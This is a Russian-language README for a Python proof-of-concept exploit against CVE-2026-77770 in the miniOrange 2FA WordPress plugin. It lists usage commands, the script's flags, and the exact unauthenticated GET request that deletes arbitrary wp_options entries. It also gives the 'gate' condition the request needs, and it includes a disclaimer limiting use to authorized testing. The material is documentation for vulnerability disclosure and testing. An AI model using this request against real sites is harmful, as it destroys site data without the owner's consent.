
Python PoC для CVE-2026-77770 — уязвимости неаутентифицированного произвольного удаления опций WordPress в плагине miniOrange 2FA (<= 6.3.0) через ссылку подтверждения email.
miniOrange 2FA CVE POC
miniOrange 2FA (плагин WordPress miniorange-2-factor-authentication) ≤ 6.3.0 — неаутентифицированное произвольное удаление опций WordPress через ссылку подтверждения email (userID / Txid / accessToken).
Только для авторизованного тестирования. Не запускайте это против систем, которыми вы не владеете или на тестирование которых у вас нет разрешения.
Требуется: Python 3, только стандартная библиотека.
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u http://TARGET --test
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u http://TARGET --test --delete blogname
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u https://TARGET --delete blogname --insecure
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u TARGET --delete blogname
| Флаг | Что делает |
|---|
-u / --url | Корень сайта WordPress (обязательно). http:// или https://; имя хоста сначала пробуется как HTTPS, затем HTTP. Самоподписанный TLS повторяется автоматически |
--test | Гость: версия плагина + всплывающее окно подтверждения email |
--delete OPTION | Удалить эту строку wp_options. blogname виден через /wp-json/ (BEFORE / AFTER) |
--gate OPTION | Опция, сохранённое значение которой равно 3 (шлюз Txid). Можно повторять. По умолчанию: wp_page_for_privacy_policy, затем thread_comments_depth |
--insecure | Пропустить проверку TLS |
--timeout | Таймаут HTTP в секундах (по умолчанию 30) |
Без аутентификации. Гаджет — это GET-запрос к /?userID=OPTION&Txid=GATE&accessToken=x. GATE в данный момент должен содержать целое число 3. При промахе 5-минутного окна плагин также записывает GATE=0.
--test ничего не удаляет. --delete blogname — публичное доказательство (название сайта в /wp-json/ становится пустым). 6.3.1 добавляет префиксы к ключам (mo2f_oobe_*), поэтому имена без префикса не удаляются.
Stdout: VERSION, HANDLER, PRESENT, SITENAME, OPTION, BEFORE, AFTER, GATE, VULNERABLE, NOT_VULNERABLE, NOT_FOUND, ATTEMPTED.

CVE: CVE-2026-77770. Список изменений плагина 6.3.1.